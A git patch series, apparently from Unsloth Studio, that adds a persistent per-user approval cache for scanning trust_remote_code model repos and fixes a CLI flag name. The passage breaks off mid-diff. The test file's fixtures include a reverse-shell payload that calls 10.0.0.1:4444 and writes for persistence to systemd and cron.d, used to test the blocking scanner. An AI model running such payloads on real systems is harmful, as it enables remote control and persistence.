+            "model_name": "unsloth/test-model",
+            "subject": "alice@example.com",
+            "hf_token": "hf_secret",
+            "wandb_token": "wb_secret",
+            "lora_r": 16,
+        }
+    )
+    assert "subject" not in db
+    assert "hf_token" not in db and "wandb_token" not in db
+    assert db["model_name"] == "unsloth/test-model" and db["lora_r"] == 16
diff --git a/studio/backend/tests/test_trc_approval_cache.py b/studio/backend/tests/test_trc_approval_cache.py
new file mode 100644
index 0000000000..f4a85fee5d
--- /dev/null
+++ b/studio/backend/tests/test_trc_approval_cache.py
@@ -0,0 +1,308 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the persistent per-user trust_remote_code approval cache.
+
+The cache skips only the DIALOG, never the scan: every load re-scans (CRITICAL always
+blocked), and a stored approval just seeds the authoritative fingerprint check. The scanner
+and fingerprint run for real; only the config/file fetch and commit-SHA lookup are stubbed.
+"""
+
+import pytest
+
+import utils.security.consent as consent
+import utils.security.remote_code_approvals as approvals
+from utils.security import evaluate_remote_code_consent_for_targets
+
+# HIGH (approvable) is the interesting case: benign code never prompts and CRITICAL is never
+# approvable, so the cache that skips the prompt only matters for blockable-but-approvable.
+_HIGH = {
+    "modeling_persist.py": (
+        "open('/etc/systemd/system/x.service', 'w').write('[Service]\\nExecStart=sh')\n"
+    )
+}
+_HIGH2 = {  # a different HIGH payload -> different fingerprint
+    "modeling_persist.py": ("open('/etc/cron.d/x', 'w').write('* * * * * root sh -c id')\n")
+}
+_CRITICAL = {
+    "modeling_evil.py": (
+        "import socket, subprocess, os\n"
+        "s = socket.socket(); s.connect(('10.0.0.1', 4444))\n"
+        "os.dup2(s.fileno(), 0); subprocess.call(['/bin/sh', '-i'])\n"
+    )
+}
+
+
+@pytest.fixture(autouse = True)
+def _isolated_store(tmp_path, monkeypatch):
+    """Point the store at a tmp file and start each test with a clean cache."""
+    monkeypatch.setattr(approvals, "_store_path", lambda: tmp_path / "approvals.json")
+    monkeypatch.delenv("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", raising = False)
+    yield
+
+
+def _patch_scan(
+    monkeypatch,
+    files,
+    sha = "sha1",
+):
+    """Stub the gate's scanners and the SHA resolver; return a {'scans': n} counter."""
+    state = {"scans": 0}
+
+    def _files(target, hf_token = None):
+        state["scans"] += 1
+        return dict(files)
+
+    monkeypatch.setattr(consent, "_config_has_auto_map", lambda *a, **k: True)
+    monkeypatch.setattr(consent, "repo_remote_code_files", _files)
+    monkeypatch.setattr(approvals, "resolve_commit_sha", lambda t, hf = None: sha)
+    return state
+
+
+def _gate(
+    targets,
+    *,
+    approved = None,
+    subject = "user-a",
+):
+    return evaluate_remote_code_consent_for_targets(
+        targets if isinstance(targets, list) else [targets],
+        None,
+        trust_remote_code = True,
+        approved_fingerprint = approved,
+        subject = subject,
+    )
+
+
+def _approve(
+    monkeypatch,
+    target = "org/m",
+    files = _HIGH,
+    sha = "sha1",
+    subject = "user-a",
+):
+    """Drive a genuine approval (scan -> user supplies the matching fingerprint -> record)."""
+    st = _patch_scan(monkeypatch, files, sha = sha)
+    fp = _gate(target, subject = subject).fingerprint  # blocked: no approval yet
+    _gate(target, approved = fp, subject = subject)  # explicit approval -> recorded
+    return st, fp
+
+
+# --- store API ---------------------------------------------------------------
+
+
+def test_store_roundtrip_and_forget():
+    approvals.record(
+        "u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH", scanner_version = 1
+    )
+    got = approvals.lookup("u", "k")
+    assert got is not None and got.fingerprint == "f" and got.scanner_version == 1
+    approvals.forget("u", "k")
+    assert approvals.lookup("u", "k") is None
+
+
+def test_file_lock_acquires_releases_and_reacquires():
+    # Used around every store write; must acquire, release, and be re-acquirable (no leak).
+    with approvals._file_lock():
+        pass
+    with approvals._file_lock():
+        pass
+
+
+def test_concurrent_records_do_not_lose_entries():
+    # Many writers recording different keys must all survive the read-modify-write; the file
+    # lock + re-read serialize them so none clobbers another (cross-process race fix).
+    import threading
+
+    def rec(i):
+        approvals.record("u", f"k{i}", commit_sha = "s", fingerprint = f"f{i}", max_severity = "HIGH")
+
+    threads = [threading.Thread(target = rec, args = (i,)) for i in range(20)]
+    for t in threads:
+        t.start()
+    for t in threads:
+        t.join()
+    for i in range(20):
+        assert approvals.lookup("u", f"k{i}") is not None
+
+
+def test_combined_sha_none_when_any_unresolvable(monkeypatch):
+    monkeypatch.setattr(
+        approvals, "resolve_commit_sha", lambda t, hf = None: None if t == "org/base" else "s"
+    )
+    assert approvals.resolve_combined_sha(["org/a", "org/base"]) is None
+    assert approvals.resolve_combined_sha(["org/a"]) is not None
+
+
+def test_resolve_commit_sha_local_and_offline_are_none(monkeypatch):
+    monkeypatch.setattr("utils.paths.is_local_path", lambda t: t.startswith("/"))
+    assert approvals.resolve_commit_sha("/local/model") is None
+    monkeypatch.setattr(approvals, "_env_offline", lambda: True)
+    assert approvals.resolve_commit_sha("org/remote") is None
+
+
+def test_corrupt_store_is_ignored_then_rewritten():
+    store = approvals._store_path()
+    store.parent.mkdir(parents = True, exist_ok = True)
+    store.write_text("{ not valid json")
+    assert approvals.lookup("u", "k") is None  # no raise
+    approvals.record("u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH")
+    assert approvals.lookup("u", "k") is not None  # valid file rewritten
+
+
+def test_malformed_store_shape_fails_safe():
+    # Valid JSON + version but a non-dict shape (hand-edited) must fail safe (re-prompt),
+    # never crash lookup/record/forget.
+    store = approvals._store_path()
+    store.parent.mkdir(parents = True, exist_ok = True)
+    for bad in ('{"version": 1, "subjects": []}', '{"version": 1, "subjects": {"u": []}}'):
+        store.write_text(bad)
+        assert approvals.lookup("u", "k") is None  # no raise
+        approvals.forget("u", "k")  # no raise
+        approvals.record("u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH")
+        assert approvals.lookup("u", "k") is not None  # store healed
+
+
+# --- gate integration: the cache skips the prompt, never the scan ------------
+
+
+def test_cache_miss_prompts(monkeypatch):
+    _patch_scan(monkeypatch, _HIGH)
+    d = _gate("org/m")
+    assert d.blocked is True and d.approvable is True
+    assert approvals.lookup("user-a", approvals.approval_target_key(["org/m"])) is None
+
+
+def test_unchanged_repo_skips_prompt_but_still_scans(monkeypatch):
+    st, _ = _approve(monkeypatch)
+    before = st["scans"]
+    d = _gate("org/m")  # SHA + fingerprint match -> auto-approve, but the scan still runs
+    assert d.blocked is False and d.reason == "approved by fingerprint"
+    assert st["scans"] == before + 1  # cache never skips the scan
+
+
+def test_sha_moved_forces_reprompt(monkeypatch):
+    _approve(monkeypatch, sha = "sha1")
+    monkeypatch.setattr(approvals, "resolve_commit_sha", lambda t, hf = None: "sha2")
+    d = _gate("org/m")  # SHA moved -> seed withheld -> re-prompt even though code is identical
+    assert d.blocked is True
+
+
+def test_local_offline_uses_fingerprint_only(monkeypatch):
+    # SHA unresolvable (local/offline): the fingerprint alone governs, so unchanged code
+    # still auto-approves.
+    _approve(monkeypatch, sha = None)
+    d = _gate("org/m")
+    assert d.blocked is False and d.reason == "approved by fingerprint"
+
+
+def test_changed_code_same_sha_reprompts(monkeypatch):
+    # Even with the primary SHA unchanged, changed executable code (e.g. an external
+    # auto_map repo) changes the fingerprint, so the dialog returns.
+    _approve(monkeypatch, files = _HIGH, sha = "sha1")
+    monkeypatch.setattr(consent, "repo_remote_code_files", lambda t, hf_token = None: dict(_HIGH2))
+    d = _gate("org/m")
+    assert d.blocked is True
+
+
+def test_scanner_version_change_invalidates(monkeypatch):
+    _approve(monkeypatch)  # recorded under the current SCANNER_VERSION
+    monkeypatch.setattr(approvals, "SCANNER_VERSION", approvals.SCANNER_VERSION + 1)
+    d = _gate("org/m")  # ruleset changed -> stored approval ignored -> re-prompt
+    assert d.blocked is True
+
+
+def test_critical_is_never_recorded(monkeypatch):
+    _patch_scan(monkeypatch, _CRITICAL)
+    fp = _gate("org/m").fingerprint
+    d = _gate("org/m", approved = fp)  # CRITICAL is not approvable
+    assert d.blocked is True and d.approvable is False
+    assert approvals.lookup("user-a", approvals.approval_target_key(["org/m"])) is None
+
+
+def test_forged_critical_store_entry_is_refused(monkeypatch):
+    _patch_scan(monkeypatch, _CRITICAL)
+    key = approvals.approval_target_key(["org/m"])
+    approvals._save(
+        {
+            "version": 1,
+            "subjects": {
+                "user-a": {
+                    key: {
+                        "commit_sha": "org/m=sha1",
+                        "fingerprint": "x",
+                        "max_severity": "CRITICAL",
+                        "scanner_version": approvals.SCANNER_VERSION,
+                        "approved_at": "t",
+                    }
+                }
+            },
+        }
+    )
+    assert approvals.lookup("user-a", key) is None  # read guard refuses CRITICAL
+    assert _gate("org/m").blocked is True  # scan still runs and blocks
+
+
+def test_forged_downgraded_severity_still_blocks_critical(monkeypatch):
+    # The store is editable JSON: forge a non-CRITICAL severity + the real fingerprint/SHA
+    # for code that is actually CRITICAL. The scan still runs every load, so CRITICAL is
+    # hard-blocked regardless of what the store claims.
+    st = _patch_scan(monkeypatch, _CRITICAL, sha = "sha1")
+    fp = _gate("org/m").fingerprint
+    key = approvals.approval_target_key(["org/m"])
+    approvals._save(
+        {
+            "version": 1,
+            "subjects": {
+                "user-a": {
+                    key: {
+                        "commit_sha": approvals.resolve_combined_sha(["org/m"]),
+                        "fingerprint": fp,
+                        "max_severity": "HIGH",  # forged downgrade
+                        "scanner_version": approvals.SCANNER_VERSION,
+                        "approved_at": "t",
+                    }
+                }
+            },
+        }
+    )
+    before = st["scans"]
+    d = _gate("org/m")
+    assert d.blocked is True and d.approvable is False
+    assert st["scans"] == before + 1  # scanned despite the forged approval
+
+
+def test_disable_flag_bypasses_cache(monkeypatch):
+    _approve(monkeypatch)
+    monkeypatch.setenv("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", "1")
+    d = _gate("org/m")  # cache off -> no seed -> re-prompt
+    assert d.blocked is True
+
+
+def test_subject_isolation(monkeypatch):
+    _approve(monkeypatch, subject = "user-a")
+    assert _gate("org/m", subject = "user-a").blocked is False  # a: seeded -> auto-approve
+    assert _gate("org/m", subject = "user-b").blocked is True  # b: still prompted
+
+
+def test_combined_lora_key(monkeypatch):
+    targets = ["org/adapter", "org/base"]
+    _approve(monkeypatch, target = targets)
+    assert _gate(targets).blocked is False  # combined key seeded
+    assert _gate(["org/adapter"]).blocked is True  # adapter-only key misses
+
+
+def test_no_subject_disables_cache(monkeypatch):
+    st = _patch_scan(monkeypatch, _HIGH)
+    fp = evaluate_remote_code_consent_for_targets(
+        ["org/m"], None, trust_remote_code = True, subject = None
+    ).fingerprint
+    evaluate_remote_code_consent_for_targets(
+        ["org/m"], None, trust_remote_code = True, approved_fingerprint = fp, subject = None
+    )
+    assert approvals.lookup("", approvals.approval_target_key(["org/m"])) is None
+    # No subject -> nothing seeded -> still blocked next time.
+    d = evaluate_remote_code_consent_for_targets(
+        ["org/m"], None, trust_remote_code = True, subject = None
+    )
+    assert d.blocked is True
diff --git a/studio/backend/utils/security/__init__.py b/studio/backend/utils/security/__init__.py
index b794b1835e..3bcfaebe2f 100644
--- a/studio/backend/utils/security/__init__.py
+++ b/studio/backend/utils/security/__init__.py
@@ -65,6 +65,7 @@ def preflight_remote_code_consent(
     trust_remote_code: bool = True,
     approved_fingerprint = None,
     trusted_org = None,
+    subject = None,
 ) -> "RemoteCodeDecision":
     """Scan a model's ``auto_map`` for the consent dialog. Thin wrapper over
     ``evaluate_remote_code_consent`` defaulting ``trust_remote_code=True`` so the scan
@@ -77,6 +78,7 @@ def preflight_remote_code_consent(
         trust_remote_code = trust_remote_code,
         approved_fingerprint = approved_fingerprint,
         trusted_org = trusted_org,
+        subject = subject,
     )
 
 
@@ -86,6 +88,7 @@ def preflight_remote_code_consent_for_targets(
     *,
     trust_remote_code: bool = True,
     approved_fingerprint = None,
+    subject = None,
 ) -> "RemoteCodeDecision":
     """Preflight consent over multiple repos (a LoRA adapter plus its base) scanned as
     one combined unit with a single pinning fingerprint. Wrapper defaulting
@@ -96,6 +99,7 @@ def preflight_remote_code_consent_for_targets(
         hf_token,
         trust_remote_code = trust_remote_code,
         approved_fingerprint = approved_fingerprint,
+        subject = subject,
     )
 
 
diff --git a/studio/backend/utils/security/consent.py b/studio/backend/utils/security/consent.py
index 475f8dabbb..b36131f809 100644
--- a/studio/backend/utils/security/consent.py
+++ b/studio/backend/utils/security/consent.py
@@ -174,6 +174,7 @@ def evaluate_remote_code_consent(
     trust_remote_code: bool,
     approved_fingerprint: Optional[str] = None,
     trusted_org: Optional[bool] = None,
+    subject: Optional[str] = None,
 ) -> RemoteCodeDecision:
     """Single-repo consent; thin wrapper over the for_targets form. ``trusted_org`` is
     accepted for backward compatibility but no longer changes the decision.
@@ -183,6 +184,7 @@ def evaluate_remote_code_consent(
         hf_token,
         trust_remote_code = trust_remote_code,
         approved_fingerprint = approved_fingerprint,
+        subject = subject,
     )
 
 
@@ -207,6 +209,7 @@ def evaluate_remote_code_consent_for_targets(
     *,
     trust_remote_code: bool,
     approved_fingerprint: Optional[str] = None,
+    subject: Optional[str] = None,
 ) -> RemoteCodeDecision:
     """Decide whether a ``trust_remote_code=True`` load may proceed, over every repo whose
     code the load would execute. A LoRA load runs adapter AND base code, so all targets
@@ -214,6 +217,11 @@ def evaluate_remote_code_consent_for_targets(
     -- one approval covers every repo, and a base-only fingerprint can't leave an
     adapter's own ``auto_map`` unreviewed. On ``blocked``, the caller surfaces
     ``response_payload()`` and retries with ``approved_fingerprint`` if the user accepts.
+
+    When ``subject`` is given, a prior approval by that user can skip the DIALOG (never the
+    scan): the stored fingerprint seeds the authoritative content check below, so an
+    unchanged repo auto-approves while any change re-prompts. A genuine approval is
+    recorded for next time.
     """
     targets = [t for t in dict.fromkeys(targets) if t]
     primary = targets[0] if targets else ""
@@ -223,6 +231,22 @@ def evaluate_remote_code_consent_for_targets(
             primary, False, False, None, None, "", "trust_remote_code disabled"
         )
 
+    # Persistent per-user approval: seed the stored fingerprint so the authoritative scan
+    # below auto-approves an unchanged repo (skips only the prompt, never the scan). Gated so
+    # it cannot weaken the scan: the approval must match the current scanner ruleset, and a
+    # resolvable commit SHA must match the approved revision (a moved repo re-prompts; a None
+    # SHA relies on the fingerprint). The fingerprint and the CRITICAL block still apply.
+    caller_approved_fingerprint = approved_fingerprint
+    if subject:
+        from utils.security import remote_code_approvals
+
+        _ak = remote_code_approvals.approval_target_key(targets)
+        _stored = remote_code_approvals.lookup(subject, _ak)
+        if _stored is not None and _stored.scanner_version == remote_code_approvals.SCANNER_VERSION:
+            _sha = remote_code_approvals.resolve_combined_sha(targets, hf_token)
+            if _sha is None or _sha == _stored.commit_sha:
+                approved_fingerprint = approved_fingerprint or _stored.fingerprint
+
     # Gather executable .py from every target that ships auto_map. A definitively
     # auto_map-free target contributes nothing; an unreadable config is scanned anyway.
     # If ANY target's code is present but unscannable, fail the whole load closed.
@@ -308,6 +332,20 @@ def evaluate_remote_code_consent_for_targets(
             fingerprint[:12],
         )
 
+    # Persist a genuine user approval (caller supplied the matching fingerprint, not a cache
+    # seed) under the current scanner version, so the unchanged repo is not re-prompted until
+    # the code or the ruleset changes.
+    if approved and subject and caller_approved_fingerprint == fingerprint:
+        from utils.security import remote_code_approvals
+        remote_code_approvals.record(
+            subject,
+            remote_code_approvals.approval_target_key(targets),
+            commit_sha = remote_code_approvals.resolve_combined_sha(targets, hf_token),
+            fingerprint = fingerprint,
+            max_severity = sev,
+            scanner_version = remote_code_approvals.SCANNER_VERSION,
+        )
+
     return RemoteCodeDecision(
         primary,
         True,
diff --git a/studio/backend/utils/security/remote_code_approvals.py b/studio/backend/utils/security/remote_code_approvals.py
new file mode 100644
index 0000000000..ee38ddec6f
--- /dev/null
+++ b/studio/backend/utils/security/remote_code_approvals.py
@@ -0,0 +1,247 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Persistent, per-user trust_remote_code approval cache.
+
+Remembers a user's explicit approval so the consent gate can skip only the DIALOG on a
+later load of the SAME unchanged code. The gate ALWAYS re-scans (the cache never skips the
+scan), so CRITICAL is hard-blocked every time and a hand-edited store cannot auto-approve
+malicious code. Keyed per subject; honored only when the content fingerprint matches AND
+the scanner-rules version matches AND (when resolvable) the commit SHA matches. CRITICAL is
+never stored or honored, and any store/SHA error degrades to "ask again", never auto-approve.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import json
+import os
+import threading
+from dataclasses import dataclass
+from datetime import datetime, timezone
+from typing import Optional
+
+from loggers import get_logger
+from utils.paths import storage_roots
+from utils.security.remote_code_scan import CRITICAL, SCAN_RULES_VERSION
+
+logger = get_logger(__name__)
+
+_SCHEMA_VERSION = 1
+_lock = threading.RLock()
+
+# Re-exported so the gate can compare a stored approval's ruleset to the live one.
+SCANNER_VERSION = SCAN_RULES_VERSION
+
+
+@dataclass
+class StoredApproval:
+    commit_sha: Optional[str]
+    fingerprint: str
+    max_severity: Optional[str]
+    approved_at: str
+    scanner_version: int = 0
+
+
+def cache_disabled() -> bool:
+    return os.environ.get("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", "").lower() in ("1", "true", "yes")
+
+
+def _store_path():
+    return storage_roots.studio_root() / "security" / "remote_code_approvals.json"
+
+
+def _env_offline() -> bool:
+    return os.environ.get("HF_HUB_OFFLINE", "").lower() in ("1", "true", "yes") or os.environ.get(
+        "TRANSFORMERS_OFFLINE", ""
+    ).lower() in ("1", "true", "yes")
+
+
+def approval_target_key(targets) -> str:
+    """Stable key for the combined load unit (a LoRA pins adapter + base together), using
+    the same casing normalization as the fingerprint so identity never disagrees."""
+    from utils.security.consent import _fingerprint_target_key
+
+    keys = sorted(_fingerprint_target_key(t) for t in dict.fromkeys(targets) if t)
+    return "\x1f".join(keys)
+
+
+def _load() -> dict:
+    """Parsed store, or an empty skeleton on any error (fail-safe = re-prompt)."""
+    try:
+        with open(_store_path()) as f:
+            data = json.load(f)
+        # Validate the shape, not just the version: a hand-edited ``subjects`` that is not a
+        # dict (e.g. ``[]``) would otherwise crash lookup/record instead of failing safe.
+        if (
+            isinstance(data, dict)
+            and data.get("version") == _SCHEMA_VERSION
+            and isinstance(data.get("subjects"), dict)
+        ):
+            return data
+    except FileNotFoundError:
+        pass
+    except Exception as exc:
+        logger.warning("Could not read remote-code approvals (%s); ignoring", exc)
+    return {"version": _SCHEMA_VERSION, "subjects": {}}
+
+
+def _save(data: dict) -> None:
+    """Atomic write (tmp + os.replace), best-effort 0600."""
+    path = _store_path()
+    storage_roots.ensure_dir(path.parent)
+    tmp = path.parent / f".{path.name}.tmp-{os.getpid()}"
+    try:
+        with open(tmp, "w") as f:
+            json.dump(data, f, indent = 2)
+        try:
+            os.chmod(tmp, 0o600)
+        except OSError:
+            pass
+        os.replace(tmp, path)
+    except Exception as exc:
+        logger.warning("Could not write remote-code approvals (%s)", exc)
+        try:
+            tmp.unlink(missing_ok = True)
+        except OSError:
+            pass
+
+
+@contextlib.contextmanager
+def _file_lock():
+    """Best-effort cross-process exclusive lock over the store. Inference/export/training
+    record approvals from separate subprocesses, so the in-process RLock is not enough: two
+    processes could each read the same JSON and clobber the other's entry on ``os.replace``.
+    Holding this around the read-modify-write serializes them. Degrades to a no-op if OS
+    locking is unavailable (the consequence is only an occasional extra prompt)."""
+    path = _store_path()
+    try:
+        storage_roots.ensure_dir(path.parent)
+        fd = os.open(str(path.parent / f"{path.name}.lock"), os.O_CREAT | os.O_RDWR, 0o600)
+    except Exception:
+        yield
+        return
+    try:
+        try:
+            if os.name == "nt":
+                import msvcrt
+                msvcrt.locking(fd, msvcrt.LK_LOCK, 1)
+            else:
+                import fcntl
+                fcntl.flock(fd, fcntl.LOCK_EX)
+        except Exception:
+            pass  # locking unavailable; the thread lock still applies
+        yield
+    finally:
+        try:
+            if os.name == "nt":
+                import msvcrt
+                with contextlib.suppress(Exception):
+                    msvcrt.locking(fd, msvcrt.LK_UNLCK, 1)
+            else:
+                import fcntl
+                fcntl.flock(fd, fcntl.LOCK_UN)
+        finally:
+            os.close(fd)
+
+
+def lookup(subject: str, target_key: str) -> Optional[StoredApproval]:
+    """The stored approval for (subject, target_key), or None. A CRITICAL entry (e.g. a
+    hand-edited store) is refused so it can never seed an approval."""
+    if not subject or cache_disabled():
+        return None
+    with _lock:
+        subj = _load().get("subjects", {}).get(subject, {})
+    entry = subj.get(target_key) if isinstance(subj, dict) else None
+    if not isinstance(entry, dict) or not entry.get("fingerprint"):
+        return None
+    if entry.get("max_severity") == CRITICAL:
+        return None
+    return StoredApproval(
+        commit_sha = entry.get("commit_sha"),
+        fingerprint = entry["fingerprint"],
+        max_severity = entry.get("max_severity"),
+        approved_at = entry.get("approved_at", ""),
+        scanner_version = entry.get("scanner_version", 0),
+    )
+
+
+def record(
+    subject: str,
+    target_key: str,
+    *,
+    commit_sha: Optional[str],
+    fingerprint: str,
+    max_severity: Optional[str],
+    scanner_version: int = SCANNER_VERSION,
+) -> None:
+    """Persist a user's explicit approval. CRITICAL is never stored."""
+    if not subject or not fingerprint or cache_disabled() or max_severity == CRITICAL:
+        return
+    with _lock, _file_lock():
+        data = _load()
+        subjects = data.setdefault("subjects", {})
+        subj = subjects.get(subject)
+        if not isinstance(subj, dict):  # tolerate a hand-edited non-dict entry
+            subj = subjects[subject] = {}
+        subj[target_key] = {
+            "commit_sha": commit_sha,
+            "fingerprint": fingerprint,
+            "max_severity": max_severity,
+            "scanner_version": scanner_version,
+            "approved_at": datetime.now(timezone.utc).isoformat(),
+        }
+        _save(data)
+
+
+def forget(subject: str, target_key: str) -> None:
+    """Drop an approval (e.g. the user declined / discarded the download)."""
+    if not subject:
+        return
+    with _lock, _file_lock():
+        data = _load()
+        subj = data.get("subjects", {}).get(subject)
+        if isinstance(subj, dict) and subj.pop(target_key, None) is not None:
+            _save(data)
+
+
+def clear() -> None:
+    """Test helper: drop the on-disk store."""
+    with _lock:
+        try:
+            _store_path().unlink(missing_ok = True)
+        except OSError:
+            pass
+
+
+def resolve_commit_sha(target: str, hf_token: Optional[str] = None) -> Optional[str]:
+    """Current HF commit SHA for *target*, or None (local path / offline / error). Resolved
+    fresh every call: the default branch is mutable, so a cached SHA could mask a moved repo
+    and reuse stale consent. None falls back to the authoritative fingerprint (never fail-open).
+    """
+    from utils.paths import is_local_path
+    try:
+        if is_local_path(target) or _env_offline():
+            return None
+        from huggingface_hub import HfApi
+        return HfApi().model_info(target, token = hf_token).sha
+    except Exception as exc:
+        logger.debug("Could not resolve commit sha for '%s': %s", target, exc)
+        return None
+
+
+def resolve_combined_sha(targets, hf_token: Optional[str] = None) -> Optional[str]:
+    """Combined SHA over the primary targets; None if ANY is unresolvable. A cheap secondary
+    gate only -- the fingerprint (which also covers external auto_map repos) stays
+    authoritative, so a None here just falls back to the fingerprint, never weakens it."""
+    from utils.security.consent import _fingerprint_target_key
+
+    parts = []
+    for target in dict.fromkeys(targets):
+        if not target:
+            continue
+        sha = resolve_commit_sha(target, hf_token)
+        if sha is None:
+            return None
+        parts.append(f"{_fingerprint_target_key(target)}={sha}")
+    return "\x1f".join(sorted(parts)) if parts else None
diff --git a/studio/backend/utils/security/remote_code_scan.py b/studio/backend/utils/security/remote_code_scan.py
index 18e45511d0..797e1056f8 100644
--- a/studio/backend/utils/security/remote_code_scan.py
+++ b/studio/backend/utils/security/remote_code_scan.py
@@ -37,6 +37,11 @@ HIGH = "HIGH"
 MEDIUM = "MEDIUM"
 _SEVERITY_ORDER = {CRITICAL: 0, HIGH: 1, MEDIUM: 2}
 
+# Bump on any ruleset change (patterns, severities). A persisted approval records the version
+# it was scanned under; the consent cache ignores older-ruleset approvals so the same bytes
+# are re-scanned and re-shown instead of silently auto-approved.
+SCAN_RULES_VERSION = 1
+
 # Configs that can carry an ``auto_map`` pointing at executable repo ``.py``.
 # ``trust_remote_code`` runs code from ANY of these, so scanner and gate must read the
 # same set (scanning only config.json/tokenizer would miss a custom-processor VLM).
diff --git a/studio/frontend/src/features/security/api/remote-code-api.ts b/studio/frontend/src/features/security/api/remote-code-api.ts
index 0e9a75cc0c..1ba0799add 100644
--- a/studio/frontend/src/features/security/api/remote-code-api.ts
+++ b/studio/frontend/src/features/security/api/remote-code-api.ts
@@ -39,6 +39,7 @@ interface RemoteCodeScanResponse {
   scan_created_repos?: string[];
   unsafe_files?: Array<{ path?: string; level?: string }>;
   security_blocked?: boolean;
+  already_approved?: boolean;
   provider?: string | null;
 }
 
@@ -94,6 +95,7 @@ export async function getRemoteCodeScan(
       (data.created_by_scan ? [data.model_name ?? modelName] : []),
     unsafeFiles,
     securityBlocked: Boolean(data.security_blocked),
+    alreadyApproved: Boolean(data.already_approved),
     provider: data.provider ?? null,
   };
 }
diff --git a/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts b/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts
index 68045559b3..a0580d5b93 100644
--- a/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts
+++ b/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts
@@ -42,6 +42,7 @@ export async function confirmRemoteCodeIfNeeded({
       scanCreatedRepos: [],
       unsafeFiles: [],
       securityBlocked: false,
+      alreadyApproved: false,
       provider: null,
     };
   }
@@ -52,6 +53,12 @@ export async function confirmRemoteCodeIfNeeded({
     return true;
   }
 
+  // Already approved this exact code and nothing unsafe flagged: reuse without re-prompting.
+  if (scan.alreadyApproved && scan.unsafeFiles.length === 0 && !scan.securityBlocked) {
+    onApprove(scan.fingerprint);
+    return true;
+  }
+
   const confirmed = await useRemoteCodeConsentDialogStore
     .getState()
     .requestConsent(scan);
diff --git a/studio/frontend/src/features/security/types.ts b/studio/frontend/src/features/security/types.ts
index 0c850c3bfe..42946903ac 100644
--- a/studio/frontend/src/features/security/types.ts
+++ b/studio/frontend/src/features/security/types.ts
@@ -43,5 +43,7 @@ export interface RemoteCodeScan {
   scanCreatedRepos: string[];
   unsafeFiles: UnsafeFile[]; // files HF flagged unsafe; non-empty => hard block
   securityBlocked: boolean; // blocked specifically by the malware gate
+  // This user already approved this exact code (same commit + fingerprint): skip the dialog.
+  alreadyApproved: boolean;
   provider: string | null; // HF org for the "from <provider>" tag; null when unattributable
 }

From 52c2cf8b63ab765074d2331154be361904a69f55 Mon Sep 17 00:00:00 2001
From: PChemGuy <39730837+pchemguy@users.noreply.github.com>
Date: Mon, 22 Jun 2026 15:31:15 +0300
Subject: [PATCH 025/306] Correct wrong negative argparse.BooleanOptionalAction
 argument name (#6560)

studio.backend.run.__main__ adds "--secure" argument via argparse.BooleanOptionalAction, which automatically creates negative --no-secure, that is with **NO** prefix, instead of **NOT**.
---
 studio/backend/run.py                           |  6 +++---
 studio/backend/tests/test_secure_tunnel_gate.py |  2 +-
 unsloth_cli/commands/studio.py                  | 12 ++++++------
 unsloth_cli/tests/test_studio_secure_flag.py    | 12 ++++++------
 4 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/studio/backend/run.py b/studio/backend/run.py
index 15bb075527..7460a2f5f6 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -921,7 +921,7 @@ def run_server(
     # port is never public (even with -H 0.0.0.0), and reject the contradictory combo.
     if secure and not cloudflare:
         raise SystemExit(
-            "A secure Cloudflare link is not allowed, use --not-secure which provides a 0.0.0.0 link"
+            "A secure Cloudflare link is not allowed, use --no-secure which provides a 0.0.0.0 link"
         )
     if secure:
         host = "127.0.0.1"
@@ -1161,7 +1161,7 @@ def run_server(
     # silently fall back to a raw port.
     if secure and not _cloudflare_url:
         print(
-            "A secure Cloudflare link is not allowed, use --not-secure which provides a 0.0.0.0 link",
+            "A secure Cloudflare link is not allowed, use --no-secure which provides a 0.0.0.0 link",
             file = sys.stderr,
             flush = True,
         )
@@ -1218,7 +1218,7 @@ if __name__ == "__main__":
         action = argparse.BooleanOptionalAction,
         default = False,
         help = "Expose ONLY a Cloudflare HTTPS link: bind localhost and fail closed "
-        "if the tunnel can't start. Without it, --not-secure also serves the raw "
+        "if the tunnel can't start. Without it, --no-secure also serves the raw "
         "0.0.0.0 port, which is reachable from anywhere on the network",
     )
     # Tri-state tool policy: no flag -> None (tools on, per-request honored);
diff --git a/studio/backend/tests/test_secure_tunnel_gate.py b/studio/backend/tests/test_secure_tunnel_gate.py
index 469a1619f5..81ebf589f3 100644
--- a/studio/backend/tests/test_secure_tunnel_gate.py
+++ b/studio/backend/tests/test_secure_tunnel_gate.py
@@ -145,6 +145,6 @@ def test_failclosed_message_present_in_source():
     # The exact, user-facing fail-closed message must not drift.
     src = (_BACKEND / "run.py").read_text(encoding = "utf-8")
     assert (
-        "A secure Cloudflare link is not allowed, use --not-secure which provides a 0.0.0.0 link"
+        "A secure Cloudflare link is not allowed, use --no-secure which provides a 0.0.0.0 link"
         in src
     )
diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py
index 58a03bd12b..097624422e 100644
--- a/unsloth_cli/commands/studio.py
+++ b/unsloth_cli/commands/studio.py
@@ -670,9 +670,9 @@ def studio_default(
     ),
     secure: bool = typer.Option(
         False,
-        "--secure/--not-secure",
+        "--secure/--no-secure",
         help = "Expose ONLY a Cloudflare HTTPS link: bind localhost and fail closed "
-        "if the tunnel can't start. Without it, --not-secure also serves the raw "
+        "if the tunnel can't start. Without it, --no-secure also serves the raw "
         "0.0.0.0 port, which is reachable from anywhere on the network.",
     ),
     verbose: bool = typer.Option(
@@ -798,7 +798,7 @@ def studio_default(
                 args.append("--api-only")
             # Forward the explicit polarity (matches run.py's BooleanOptionalAction).
             args.append("--cloudflare" if cloudflare else "--no-cloudflare")
-            args.append("--secure" if secure else "--not-secure")
